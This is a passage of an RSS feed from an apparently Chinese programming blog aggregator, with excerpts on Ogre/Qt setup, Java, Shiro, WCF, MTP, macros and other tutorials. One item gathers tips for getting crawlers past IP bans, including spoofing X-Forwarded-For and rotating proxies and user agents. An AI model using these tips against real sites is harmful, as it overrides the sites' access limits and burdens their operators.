      <description>最近几天开始重新学习Ogre，这次从源码编译了Ogre2.1，编译过程基本跟Ogre1.8.1类似，连第三方依赖库都是用的官网推荐的以前版本的，此处不多说了，网上有很多教程，现在给出下载连接。&#xA;Ogre2.1的源码： https://bitbucket.org/sinbad/ogre/branch/v2-1&#xA;Dependencies： https://bitbucket.org/cabalistic/ogredeps&#xA;编译好Ogre后开始尝试将其嵌入到Qt中，发现网上的指导教程非常的少，而且含糊不清，对于想上手的人来说非常困难。发现Ogre的Wiki有现成的结合Qt配置方案，给出网址 http://www.ogre3d.org/tikiwiki/tiki-index.php?page=Setting+Up+An+Application+-+QtCreator 参考。具体来说，主要是在Qt项目的pro文件中配置。以下是个人结合参考做出的Ogre渲染QWidget的例子。&#xA;1、新建一个Qt Widgets Application，在pro文件中添加配置信息如下&#xA;OGRE_HOME = D:/OGRE/Ogre2.1 LIBS *= user32.lib LIBS += -L$${OGRE_HOME}/boost/lib debug: LIBS += -L$${OGRE_HOME}/lib/debug release: LIBS += -L$${OGRE_HOME}/lib/release INCLUDEPATH += $${OGRE_HOME}/include INCLUDEPATH += $${OGRE_HOME}/include/OGRE INCLUDEPATH += $${OGRE_HOME}/include/OIS INCLUDEPATH += $${OGRE_HOME}/boost CONFIG(debug, debug|release){ LIBS *= -lOgreMain_d -lOIS_d -lOgreTerrain_d DESTDIR = $${OGRE_HOME}/bin/debug } else{ LIBS *= -lOgreMain -lOIS -OgreTerrain DESTDIR = $${OGRE_HOME}/bin/release } 2、新建类 TestOgre，并继承自QWidget。在TestOgre这个类中，实现创建Ogre的Root对象，定义资源，设置渲染引擎，创建渲染窗口，初始化资源，创建场景， 设置第三方库和插件库，创建帧监听器，启动渲染循环等工作。主要参考了Ogre Wiki的教程6&#xA;http://www.ogre3d.org/tikiwiki/tiki-index.php?page=Basic+Tutorial+6&amp;amp;structure=Tutorials&#xA;TestOgre.h&#xA;#ifndef TESTOGRE_H #define TESTOGRE_H #include &amp;lt;QtGui&amp;gt; #include &amp;lt;Ogre.</description>
    </item>
    <item>
      <title>转移矩阵</title>
      <link>https://bchobby.github.io/posts/547444fb14e6abd51ffaa3a4fa103716/</link>
      <pubDate>Wed, 18 Mar 2015 16:22:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/547444fb14e6abd51ffaa3a4fa103716/</guid>
      <description> 转自百科 转移概率矩阵（又叫跃迁矩阵，英文名：transition matrix）是俄国数学家马尔科夫提出的，他在20世纪初发现：一个系统的某些因素在转移中，第n次结果只受第n-1的结果影响，即只与当前所处状态有关，而与过去状态无关。 在马尔科夫分析中，引入状态转移这个概念。所谓状态是指客观事物可能出现或存在的状态；状态转移是指客观事物由一种状态转移到另一种状态的 概率。 例如对应于一个天气预报的问题，若天气状态转移概率表如左下： （其中列表示今天的状态，行表示明天的状态。注意每一列之和为1，因为已假设明天仅这三种状态。） 图1.天气转移概率矩阵 明/今 晴 阴 雨 晴 3/4 1/2 1/4 阴 1/8 1/4 1/2 雨 1/8 1/4 1/4 写作矩阵形式为图1所示。 其中转移矩阵 A的每一个元素都表示从今天的一种状态到明天的一种状态的概率，例如，第2行第3列的值为1/2，这表示今天下雨而明天转阴的概率是1/2。 称A为转移矩阵。 </description>
    </item>
    <item>
      <title>MTP协议开发入门</title>
      <link>https://bchobby.github.io/posts/2db71f6d6edf82927c977256e4cdcecb/</link>
      <pubDate>Tue, 17 Mar 2015 14:33:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2db71f6d6edf82927c977256e4cdcecb/</guid>
      <description>由于MTP协议在移动设备中的广泛应用，使其成为在设备互联产品中，必备的组件之一。设想在开车途中，接入车载设备，听听手机中的歌；或者在休息时，借用车载的大屏幕看看手机中的高清电影，这些都使得旅途变得轻松惬意。 本文尽量避免介绍MTP协议（文档已经写的很清楚），主要针对某个具体设备（Google Nexus 4），介绍MTP开发入门知识。&#xA;1. MTP设备模型 理解MTP设备模型要有基础的USB协议知识。MTP设备通过USB Descriptor描述设备的通信端点（Endpoint）。下面列出四太子的USB Descriptor： # lsusb -v -d18d1:&#xA;Bus 001 Device 003: ID 18d1:4ee1 Google Inc. Device Descriptor: bLength 18 bDescriptorType 1 bcdUSB 2.00 bDeviceClass 0 (Defined at Interface level) bDeviceSubClass 0 bDeviceProtocol 0 bMaxPacketSize0 64 idVendor 0x18d1 Google Inc. idProduct 0x4ee1 bcdDevice 2.28 iManufacturer 1 LGE iProduct 2 Nexus 4 iSerial 3 0054700f490d669a bNumConfigurations 1 Configuration Descriptor: bLength 9 bDescriptorType 2 wTotalLength 39 bNumInterfaces 1 bConfigurationValue 1 iConfiguration 0 bmAttributes 0x80 (Bus Powered) MaxPower 500mA Interface Descriptor: bLength 9 bDescriptorType 4 bInterfaceNumber 0 bAlternateSetting 0 bNumEndpoints 3 bInterfaceClass 255 Vendor Specific Class bInterfaceSubClass 255 Vendor Specific Subclass bInterfaceProtocol 0 iInterface 4 MTP Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x81 EP 1 IN bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes bInterval 0 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x01 EP 1 OUT bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes bInterval 0 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x82 EP 2 IN bmAttributes 3 Transfer Type Interrupt Synch Type None Usage Type Data wMaxPacketSize 0x001c 1x 28 bytes bInterval 6 Device Qualifier (for other device speed): bLength 10 bDescriptorType 6 bcdUSB 2.</description>
    </item>
    <item>
      <title>（1）疯狂java:数据与内存的控制____数组初始化__1.1.1  java数组是静态的</title>
      <link>https://bchobby.github.io/posts/bff9d64e23bd8ac5518feaedf6d2d87a/</link>
      <pubDate>Fri, 13 Mar 2015 23:24:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bff9d64e23bd8ac5518feaedf6d2d87a/</guid>
      <description>1.1数组初始化&#xA;数组是大多数编程语言都提供一种复合结构，如果程序需要多个类型相同的变量时，就可以考虑定义一个数组。java语言的数组变量引用是引用类型的变量，因此具有java独有的特性。&#xA;1.1. java数组是静态的&#xA;java语言是典型的静态语言，因此java的数组是静态的，即当数组被初始化之后，该数组的长度是不可变的。java程序中的数组必须初始化才可使用。所谓初始化，就是为数据对象元素分配内存空间，并为每个数组元素指定初始值。&#xA;数组的初始化有以下两种方式。&#xA;静态初始化:初始化时由程序员显示指定每个数组元素的初始值，由系统决定数组长度。&#xA;动态数据初始化:初始化时程序员只指定数据长度，由系统为数组元素分配初始值。&#xA;不管采用哪个方式初始化java数组，一旦初始化完成，该数组的长度就不可改变,java语言允许通过数组lenght属性来访问数组的长度。示例如下:&#xA;public class ArrayTest&#xA;{&#xA;public static void main(String[] args) {&#xA;//采用静态初始化方式初始化第一个数组&#xA;String[] books = new String[]&#xA;{&#xA;&#34;疯狂Java讲义&#34;,&#xA;&#34;轻量级Java EE企业应用实战&#34;,&#xA;&#34;疯狂Ajax讲义&#34;,&#xA;&#34;疯狂XML讲义&#34;&#xA;};&#xA;//采用静态初始化的简化形式初始化第二个数组&#xA;String[] names = {&#xA;&#34;孙悟空&#34;,&#xA;&#34;猪八戒&#34;,&#xA;&#34;白骨精&#34;&#xA;};&#xA;//采用动态初始化的语法初始化第三个数组&#xA;String[] strArr = new String[5];&#xA;//访问3个数组的长度&#xA;System.out.println(&#34;第一个数组的长度：&#34; + books.length);&#xA;System.out.println(&#34;第二个数组的长度：&#34; + names.length);&#xA;System.out.println(&#34;第三个数组的长度：&#34; + strArr.length);&#xA;}&#xA;}&#xA;上面程序中的粗体字代表声明并初始化了3个数组，这3个数组的长度将会始终不变，程序输出3个数组的长度依次为4、3、5。&#xA;前面已经指出，java语言的数组变量是引用类型的变量，books、names、seansonsp这3个变量以及各自引用的数组在内存中的分配如图1.1所示。&#xA;从图1.1中可以看出，对于静态初始化方式而言，程序员无需指定数组长度，指定数组的数组元素，由系统来决定该数组的长度即可。例如books数组，为它指定了4个数组元素，那它的长度就是4，对于name数组，为它指定3个元素，那它的长度就是3。&#xA;执行动态初始化时，程序员只需指定数组的长度，即为每个数组元素指定所需的内存空间，系统将负责为这些数组元素分配初始值。指定初始化值时，系统将按如下规则分配初始化值。&#xA;数组元素的类型是基本类型中的整数类型(byte、short、int和long)，则数组元素的值是0。&#xA;数组元素的类型是基本类型中的浮点类型(float、double)，则数组元素的值是0.0。&#xA;数组元素的类型是基本类型中的字符类型(char),则数组元素的值是&#39;\u0000&#39;。&#xA;数组元素的类型是基本类型中的布尔类型(boolean)，则数组元素的值是false。&#xA;数组元素的类型是引用类型(类、接口和数组)，则数组元素的值是null。&#xA;注意:不要同时使用静态初始化和动态初始化。也就是说，不要在进行数组初始化时既指定数组的长度，也为每个数组元素分配初始值。</description>
    </item>
    <item>
      <title>ShiroFilterFactoryBean源码及拦截原理深入分析</title>
      <link>https://bchobby.github.io/posts/a3eb68ea42ce4b0b5ca75918022ff75c/</link>
      <pubDate>Thu, 12 Mar 2015 11:01:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a3eb68ea42ce4b0b5ca75918022ff75c/</guid>
      <description>本篇文章篇幅比较长，但是细看下去相信对学习Shiro应该会有帮助。好了，闲话不多说，直接进入正题：&#xA;Shiro提供了与Web集成的支持，其通过一个ShiroFilter入口来拦截需要安全控制的URL，然后进行相应的控制，ShiroFilter类似于如Strut2/SpringMVC这种web框架的前端控制器，其是安全控制的入口点，其负责读取配置（如ini配置文件），然后判断URL是否需要登录/权限等工作。&#xA;而要在Spring中使用Shiro的话，可在web.xml中配置一个DelegatingFilterProxy，DelegatingFilterProxy作用是自动到Spring容器查找名字为shiroFilter（filter-name）的bean并把所有Filter的操作委托给它。&#xA;首先是在web.xml中配置DelegatingFilterProxy&#xA;&amp;lt;filter&amp;gt; &amp;lt;filter-name&amp;gt;shiroFilter&amp;lt;/filter-name&amp;gt; &amp;lt;filter-class&amp;gt;org.springframework.web.filter.DelegatingFilterProxy&amp;lt;/filter-class&amp;gt; &amp;lt;init-param&amp;gt; &amp;lt;param-name&amp;gt;targetFilterLifecycle&amp;lt;/param-name&amp;gt; &amp;lt;param-value&amp;gt;true&amp;lt;/param-value&amp;gt; &amp;lt;/init-param&amp;gt; &amp;lt;/filter&amp;gt; &amp;lt;filter-mapping&amp;gt; &amp;lt;filter-name&amp;gt;shiroFilter&amp;lt;/filter-name&amp;gt; &amp;lt;url-pattern&amp;gt;/*&amp;lt;/url-pattern&amp;gt; &amp;lt;/filter-mapping&amp;gt; 配置好DelegatingFilterProxy后，下面只要再把ShiroFilter配置到Spring容器（此处为Spring的配置文件）即可：&#xA;&amp;lt;bean id=&#34;shiroFilter&#34; class=&#34;org.apache.shiro.spring.web.ShiroFilterFactoryBean&#34;&amp;gt; &amp;lt;property name=&#34;securityManager&#34; ref=&#34;securityManager&#34;/&amp;gt; &amp;lt;/bean&amp;gt; 可以看到我们使用了ShiroFilterFactoryBean来创建shiroFilter，这里用到了Spring中一种特殊的Bean——FactoryBean。当需要得到名为”shiroFilter“的bean时，会调用其getObject()来获取实例。下面我们通过分析ShiroFilterFactoryBean创建实例的过程来探究Shiro是如何实现安全拦截的：&#xA;public Object getObject() throws Exception { if (instance == null) { instance = createInstance(); } return instance; } 其中调用了createInstance()来创建实例：&#xA;protected AbstractShiroFilter createInstance() throws Exception { // 这里是通过FactoryBean注入的SecurityManager（必须） SecurityManager securityManager = getSecurityManager(); if (securityManager == null) { String msg = &#34;SecurityManager property must be set.&#34;; throw new BeanInitializationException(msg); } if (!</description>
    </item>
    <item>
      <title>do{...}while(0)的意义和用法</title>
      <link>https://bchobby.github.io/posts/66f1dbfa541f6d05d78332e8830d9975/</link>
      <pubDate>Sun, 08 Mar 2015 17:19:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/66f1dbfa541f6d05d78332e8830d9975/</guid>
      <description>转载地址： http://www.spongeliu.com/415.html linux内核和其他一些开源的代码中，经常会遇到这样的代码： do{ ... }while(0) 这样的代码一看就不是一个循环，do..while表面上在这里一点意义都没有，那么为什么要这么用呢？&#xA;实际上，do{...}while(0)的作用远大于美化你的代码。查了些资料，总结起来这样写主要有以下几点好处：&#xA;1、辅助定义复杂的宏，避免引用的时候出错：&#xA;举例来说，假设你需要定义这样一个宏：&#xA;#define DOSOMETHING()\ foo1();\ foo2(); 这个宏的本意是，当调用DOSOMETHING()时，函数foo1()和foo2()都会被调用。但是如果你在调用的时候这么写：&#xA;if(a&amp;gt;0) DOSOMETHING(); 因为宏在预处理的时候会直接被展开，你实际上写的代码是这个样子的：&#xA;if(a&amp;gt;0) foo1(); foo2(); 这就出现了问题，因为无论a是否大于0，foo2()都会被执行，导致程序出错。&#xA;那么仅仅使用{}将foo1()和foo2()包起来行么？&#xA;我们在写代码的时候都习惯在语句右面加上分号，如果在宏中使用{}，代码里就相当于这样写了：“{...};”，展开后就是这个样子：&#xA;if(a&amp;gt;0) { foo1(); foo2(); }; 这样甚至不会编译通过。所以，很多人才采用了do{...}while(0);&#xA;#define DOSOMETHING() \ do{ \ foo1();\ foo2();\ }while(0)\ ... if(a&amp;gt;0) DOSOMETHING(); ... 这样，宏被展开后，才会保留初始的语义。GCC提供了Statement-Expressions用以替代do{...}while(0); 所以你也可以这样定义宏：&#xA;#define DOSOMETHING() ({\ foo1(); \ foo2(); \ }) 转载于:https://www.cnblogs.com/457220157-FTD/p/4321939.html</description>
    </item>
    <item>
      <title>WCF 入门教程一（动手新建第一个WCF程序并部署）</title>
      <link>https://bchobby.github.io/posts/da54980aed770ff85e026ef406306a3e/</link>
      <pubDate>Sat, 07 Mar 2015 20:15:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/da54980aed770ff85e026ef406306a3e/</guid>
      <description>WCF的相关概念信息就不在此赘述了，网上一搜一大把。&#xA;现在让我们动手搭建我们的第一个wcf程序吧，具体流程如下：&#xA;1. 新建立空白解决方案，并在解决方案中新建项目，项目类型为：WCF服务应用程序。&#xA;2、建立完成后如下图所示：&#xA;3、删除系统生成的两个文件IService1.cs与Service1.svc（或者自己重命名，在系统生成的基础文件中进行编码，此处感觉重命名麻烦，于是选择删除--新建）&#xA;4、添加自定义的WCF【服务文件】Test.svc&#xA;5、此时vs2010会自动生成WCF接口文件ITest.cs&#xA;6、我们在ITest中定义WCF方法TransferTest，在Test.svc.cs对该接口的方法进行实现，代码如下：&#xA;&amp;lt;span style=&#34;font-size:14px;&#34;&amp;gt;&amp;lt;pre name=&#34;code&#34; class=&#34;csharp&#34;&amp;gt;namespace WCFServiceDemo { // 注意: 使用“重构”菜单上的“重命名”命令，可以同时更改代码和配置文件中的接口名“ITest”。 [ServiceContract] public interface ITest { [OperationContract] string TransferTest(int num); } } namespace WCFServiceDemo { // 注意: 使用“重构”菜单上的“重命名”命令，可以同时更改代码、svc 和配置文件中的类名“Test”。 public class Test : ITest { public string TransferTest(int num) { return &#34;第&#34;+num+&#34;次WCF调用成功！&#34;; } } } &amp;lt;/span&amp;gt; 可以看到，在WCF中的接口与普通接口的区别只在于两个上下文，其他的和我们正常学习的接口一样。定义这个上下文要添加System.ServiceModel的引用。[ServiceContract]，来说明接口是一个WCF的接口，如果不加的话，将不能被外部调用。[OperationContract]，来说明该方法是一个WCF接口的方法，不加的话同上。&#xA;7、此时我们的第一个WCF服务程序就建立好了，将Test.svc“设为起始页”，然后F5运行一下试试，如下图所示，VS2010自动调用了WCF的客户端测试工具以便我们测试程序：&#xA;8、我们双击上图中的 TransferTest() 方法，出现如下图：&#xA;在请求窗口中的值中输入参数“99”，然后点击“调用”，在响应窗口中会出现返回值“&#34;第99次WCF调用成功！&#34;，说明测试成功，点击下面的XML也可以看到XML的数据传输。&#xA;9、我们设计测试的场景是在生产中经常应用的场景，把WCF程序寄宿在IIS之上。假设场景如下：【A服务器】和【B服务器】。我们把我们刚刚建立的WCF程序“部署”在【B服务器】上，我们的目标是在【A服务器】的应用程序来访问【B服务器】的WCF程序，实现服务器端的应用程序通讯。&#xA;首先我们将WCF应用程序发布一下，然后部署在B服务器的IIS之上&#xA;部署步骤如下：http://blog.csdn.net/jiankunking/article/details/44118911&#xA;10、在客户端【A服务器】]创建服务的引用&#xA;我们这里以WinForm应用程序为例，建立地物理地址为【B服务器】的ip，&#xA;新建解决方案，并且创建WinForm应用程序的项目。命名为：WCFClient，如下图所示：&#xA;添加在之前部署的服务的引用。如下图所示：&#xA;点击“前往”--&amp;gt;“确定”按钮，效果如下：&#xA;此时我们完成了对服务的引用。我们再次查看解决方案，里面多了Service References的文件夹，通过资源管理器打开后里面多了些文件，这些文件用于客户端向服务端的调用。</description>
    </item>
    <item>
      <title>主机名 域名 网站名 URL</title>
      <link>https://bchobby.github.io/posts/56e0d081033839b99e3852a968145180/</link>
      <pubDate>Wed, 04 Mar 2015 14:39:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/56e0d081033839b99e3852a968145180/</guid>
      <description>举几个域名的例子:&#xA;google.com，baidu.com，163.com&#xA;可以明确的告诉你，加上www，就不再是域名了！&#xA;以http://mail.163.com/index.html为例进行说明：&#xA;1)http://:这个是协议，也就是HTTP超文本传输协议，也就是网页在网上传输的协议。&#xA;2)mail：这个是服务器名(主机名)，代表着是一个邮箱服务器，所以是mail. 【www代表一个Web（万维网）服务器】&#xA;3)163.com:这个是域名，是用来定位网站的独一无二的名字。&#xA;4)mail.163.com：这个是网站名，由服务器名+域名组成。&#xA;5)/：这个是根目录，也就是说，通过网站名找到服务器，然后在服务器存放网页的根目录&#xA;6)index.html：这个是根目录下的默认网页（当然，163的默认网页是不是这个我不知道，只是大部分的默认网页，都是index.html）&#xA;7)http://mail.163.com/index.html:这个叫做URL，统一资源定位符，全球性地址，用于定位网上的资源。&#xA;Reference:&#xA;什么是域名？什么网站名？什么是URL？ http://jingyan.baidu.com/article/2c8c281df0afd00008252aa7.html&#xA;转载于:https://www.cnblogs.com/lxw0109/p/internet.html</description>
    </item>
    <item>
      <title>采集爬虫中，解决网站限制IP的问题？</title>
      <link>https://bchobby.github.io/posts/f32d90f8b2f6ff0ed7ffc1569de3b49e/</link>
      <pubDate>Mon, 02 Mar 2015 14:15:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f32d90f8b2f6ff0ed7ffc1569de3b49e/</guid>
      <description>方法1.&#xA;之前由于公司项目需要，采集过google地图数据，还有一些大型网站数据。&#xA;经验如下： 1.IP必须需要，像@alswl 说的非常正确，ADSL。如果有条件，其实可以跟机房多申请外网IP。 2.在有外网IP的机器上，部署代理服务器。 3.你的程序，使用轮训替换代理服务器来访问想要采集的网站。 好处： 1.程序逻辑变化小，只需要代理功能。 2.根据对方网站屏蔽规则不同，你只需要添加更多的代理就行了。 3.就算具体IP被屏蔽了，你可以直接把代理服务器下线就OK，程序逻辑不需要变化。&#xA;方法2.&#xA;有小部分网站的防范措施比较弱，可以伪装下IP，修改X-Forwarded-for（貌似这么拼。。。）即可绕过。 大部分网站么，如果要频繁抓取，一般还是要多IP。我比较喜欢的解决方案是国外VPS再配多IP，通过默认网关切换来实现IP切换，比HTTP代理高效得多，估计也比多数情况下的ADSL切换更高效。&#xA;方法3.&#xA;ADSL + 脚本，监测是否被封，然后不断切换 ip设置查询频率限制 正统的做法是调用该网站提供的服务接口。 方法4.&#xA;8年多爬虫经验的人告诉你，国内ADSL是王道，多申请些线路，分布在多个不同的电信区局，能跨省跨市更好，自己写好断线重拨组件，自己写动态IP追踪服务，远程硬件重置（主要针对ADSL猫，防止其宕机），其余的任务分配，数据回收，都不是大问题。我的已经稳定运行了好几年了，妥妥的！&#xA;方法5.&#xA;1 user agent 伪装和轮换 2 使用代理 ip 和轮换 3 cookies 的处理，有的网站对登陆用户政策宽松些&#xA;友情提示：考虑爬虫给人家网站带来的负担，be a responsible crawler :)&#xA;方法6.&#xA;尽可能的模拟用户行为： 1、UserAgent经常换一换； 2、访问时间间隔设长一点，访问时间设置为随机数； 3、访问页面的顺序也可以随机着来&#xA;方法8.&#xA;网站封的依据一般是单位时间内特定IP的访问次数. 我是将采集的任务按 目标站点的IP进行分组 通过控制每个IP 在单位时间内发出任务的个数,来避免被封.当然,这个前题是你采集很多网站.如果只是采集一个网站,那么只能通过多外部IP的方式来实现了.&#xA;方法9.&#xA;1. 对爬虫抓取进行压力控制； 2. 可以考虑使用代理的方式访问目标站点。&#xA;-降低抓取频率，时间设置长一些，访问时间采用随机数 -频繁切换UserAgent（模拟浏览器访问） -多页面数据，随机访问然后抓取数据 -更换用户IP</description>
    </item>
    <item>
      <title>关于屏蔽网页广告的方法</title>
      <link>https://bchobby.github.io/posts/63047024895a3f55f9a1eabfb5e5ab84/</link>
      <pubDate>Fri, 27 Feb 2015 13:40:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/63047024895a3f55f9a1eabfb5e5ab84/</guid>
      <description>先随便看看网页上有多少广告。&#xA;以某个网站的一个下载页面为例。&#xA;这是尚未屏蔽广告的：注意带黑框的部分，都是广告。&#xA;同一个页面，用AdBlock屏蔽广告之后的样子：页面内容基本消失了50%&#xA;我用的是google的Chrom浏览器，在Chrom应用商店中有AdBlock的下载。其它浏览器是否有就没试过了。&#xA;另外，现在很多网页中还有个百度DSP推广的广告也挺烦人的，貌似叫百度联盟之类的玩意儿，广告本身用AdBlock可以屏蔽，另外，看看这个文章，能更进一步：&#xA;http://jingyan.baidu.com/article/3c48dd3471947fe10be3583f.html</description>
    </item>
    <item>
      <title>关于AMD HD 7800、7850显卡多屏的配置</title>
      <link>https://bchobby.github.io/posts/ca664fb90b6d28e7a036ef31d4b9c460/</link>
      <pubDate>Thu, 26 Feb 2015 12:58:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ca664fb90b6d28e7a036ef31d4b9c460/</guid>
      <description>个人经历，不全面，但可以作为参考。&#xA;显卡是7850，有4个接口：1*DVI，1*HDMI，2*miniDP。打算配置成3屏显示。所用显示器都是VGA+DVI接口。&#xA;一个失败的方法：&#xA;用1根DVI电缆和2根miniDP转DVI电缆连接3台显示器，结果是虽然能够识别出3台显示器，但只能使用其中两台，第三台永远黑屏。结论是：显卡不支持这种接线方式。&#xA;一个成功的方法：&#xA;用1根DVI电缆、1根miniDP转DVI电缆和1根miniDP转VGA电缆连接3台显示器，成功。&#xA;原因：&#xA;仔细查看了AMD提供的关于7800系列产品的手册中关于多显示器的部分，发现最保险的办法是采用手册中推荐的多屏配置，如下图：&#xA;图中红线框住的部分就是最后成功的方案。&#xA;附带说一句：表格中凡是标注“native”的部分，是指不能使用接口转接线的。比如，如果采用倒数第二种方案组建3屏显示，那么必须有两台显示器是有DP接口的。</description>
    </item>
    <item>
      <title>解决“无法连接到WMI提供程序，您没有权限或者该服务器无法访问。“</title>
      <link>https://bchobby.github.io/posts/30ce92508d3f06127c615cc165b26ba5/</link>
      <pubDate>Wed, 25 Feb 2015 19:55:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/30ce92508d3f06127c615cc165b26ba5/</guid>
      <description>最近在学习PowerDesigner，在创建PDM模型的时候，遇到了一点儿小问题，本以为要重装SQLServer，百度了一下，问题就轻松解决了。问题的背景是这样的，在创建数据源的时候，总是测试连接不成功，我就想打开配置管理器查看一下是不是出了什么问题。结果，就出现了下面的弹窗：↓↓↓&#xA;出错提示： 启动SQL Server 2005 配置管理器时，出现以下提示错误&#xA;无法连接到WMI提供程序。您没有权限或者该服务器无法访问......&#xA;Invalid class [0x80041010]&#xA;出错原因： 上网百度了一下出现这个错误的原因是一个文件的问题,这个文件的名为 sqlmgmproviderxpsp2up.mof ,查看一下是否存在这个文件，如果存在就去用cmd命令更新一下。WMI（Windows Management Instrumentation,　Windows 管理规范）是一项核心的 Windows 管理技术；用户可以使用 WMI 管理本地和远程计算机。我想，之所以打不开配置管理器是对文件做了修改。&#xA;解决方法： 以管理员身份运行“命令提示符”（在附件下面），进入后执行以下命令&#xA;1)cd /d C:\Program Files\Microsoft SQL Server\90\Shared&#xA;2)mofcomp &#34;C:\Program Files\Microsoft SQL Server\90\Shared\sqlmgmproviderxpsp2up.mof&#34;&#xA;当看到有如下信息时表明操作成功&#xA;MOF file has been successfully parsed&#xA;Storing data in the repository...&#xA;Done!&#xA;找到了解决方法，我就相当的兴奋啊，一点也不犯困了，就直接的复制粘贴到Cmd窗口。照着这个命令操作，我却出现了不同的结果：Not Found!总之不是Done！看来不能着急了。。↓↓↓&#xA;接下来，我查了一下这两句cmd命令是什么含义。&#xA;第一个：cd /d 意思是：显示当前目录名或改变当前目录。&#xA;第二个：mofcomp 意思是：将MOF文件编译为CIM类。&#xA;托管对象格式 (MOF) 文件是创建和注册提供程序、事件类别和事件的简便方法。 在 MOF 文件中创建类实例和类定义后，可以对该文件进行编译。编译 MOF 文件将在 CIM 储存库中注册所有的类定义和实例。之后，提供程序、事件类别和事件信息便可由 WMI 和 Visual Studio Analyzer 使用。 在 MOF 文件中创建提供程序、事件类别和事件类的实例，并且定义想要分析的自定义对象，之后，就可以对该文件进行编译。 编译 MOF 文件时，将其提交到 MOF 编译器 (Mofcomp.</description>
    </item>
    <item>
      <title>Matlab和Modelsim联合仿真</title>
      <link>https://bchobby.github.io/posts/f52213923bf6c69883dcde2a0482b8c8/</link>
      <pubDate>Sun, 15 Feb 2015 09:56:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f52213923bf6c69883dcde2a0482b8c8/</guid>
      <description>软件版本： Matlab R2012a x64&#xA;Modelsim SE-64 10.2c&#xA;安装好以上版本的软件后，不用做其他设置，直接进行下面的步骤。如果matlab使用到S-function函数的话，需要安装和设置相应编译器等，在此不再详细描述。&#xA;操作步骤 1. 在matlab工作空间中输入cosimWizard，回车后弹出如下对话框：&#xA;如上图，如果正确安装了Modelsim软件，Matlab会自动识别出，请确认上面红色方框中的选择和图中一致。&#xA;2. 点击Next后，弹出如下对话框：&#xA;点击上图中Add按钮，将工程中的HDL文件添加进来，请注意工程文件中的顺序需要仔细考虑，如果次序错误，可能导致编译通不过（对于我们的工程需要先添加xxx.vhd，然后再添加其他文件，因为此文件中主要定义了一些常量和数据类型，需要被其他文件调用）。添加文件后的界面如下：&#xA;点击Next按钮后，会显示如下对话框：&#xA;再次点击Next，Status窗口中会显示“CompilingHDL files. Please wait ...”，matlab会对添加进去的文件进行编译（当然是调用了modelsim进行编译），如果没有任何问题会直接进入下一步，如果有问题，Status窗口会给出提示，返回去修改正确后重新按照上面的步骤操作即可。&#xA;3. 正确编译后，matlab会进入下一步，显示如下对话框：&#xA;在红色圈出的编译框中输入仿真的顶层模块名字xxx，其他不用更改，输入后点击Next按钮，matlab会弹出一个DOS窗口，进行一些文件生成和操作，不用管，完成后DOS窗口会自动关闭。&#xA;4. 然后会进入下一个步骤，设置输入输出端口。这里需要注意的，如果有时钟和复位信号的话，而且这两个信号在simulink工作空间中不单独给输入信号，就需要在此进行单独设置，设置后生成的仿真模块不在包含这两个引脚，但是会依据设置的情况内部直接给定激励。如下图，在此我们将clk_sys_s设置为时钟信号，并在随后弹出的对话框中对其进行设置。复位信号rst_sys我们在simulink中给出激励，在此不再进行设置。&#xA;5. 点击上图Next后进入下一步，设置输出信号的采样周期，在此我们将输出信号的采样周期设置为xxx（s），如下图：&#xA;需要注意，此处的采样周期需要填写数字，单位s，填写工作空间中定义好的变量名字有时会出错。&#xA;6. 点击Next按钮后，进入下一步，设置系统时钟信号，在此我们将系统时钟周期设置为xxxns，请注意时间的单位需要在下拉框中单独设置。如下图：&#xA;7. 点击Next按钮，进入下一步，如下图：&#xA;8. 上图中不用进行任何设置，直接点击Next按钮，进入下一步，如下图：&#xA;9. 上图中依然不用做任何设置，直接点Finish完成设置。完成后matlab会自动新建一个simulink模型文件，并在里面包含如下图所示三个文件。其中左边的一个是模型对应的接口文件；右上方的是模型的编译快捷方式，双击即可自动调用modelsim命令，完成模型对应的所有HDL文件的自动编译；右下方的是启动仿真器的快捷方式，双击即可自动启动modelsim，并完成simulink和modelsim的链接。可以将此三个文件拷贝到搭建好的simulink模型中即可使用。&#xA;10. 需要补充说明一点的是，正常情况下到上面第9步就可以结束了，但是因为我们的系统时钟周期为xx5ns，为奇数，在仿真时，时钟的占空比是50%，会产生带小数点的高电平和低电平周期，影响仿真速度，且容易出问题，我们需要双击上图中的matlab模块，对其进行手动修改。双击后弹出如下对话框：&#xA;选择Simulation选项卡，如下图&#xA;将图中的xxx2.5改为xxx3即可，如下图&#xA;点击Apply按钮和OK按钮即可。&#xA;上文用到的图，均因本人从事的是商业项目，不便透漏与项目有关的信息，因此涂抹掉了与项目相关的部分信息，如有不明白的，可以留言或发邮件，我会尽量全部答复。</description>
    </item>
    <item>
      <title>Verilog中Task语句可综合设计实例</title>
      <link>https://bchobby.github.io/posts/7c386c96b9e31d2bda47796d1132a99b/</link>
      <pubDate>Sat, 14 Feb 2015 21:47:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7c386c96b9e31d2bda47796d1132a99b/</guid>
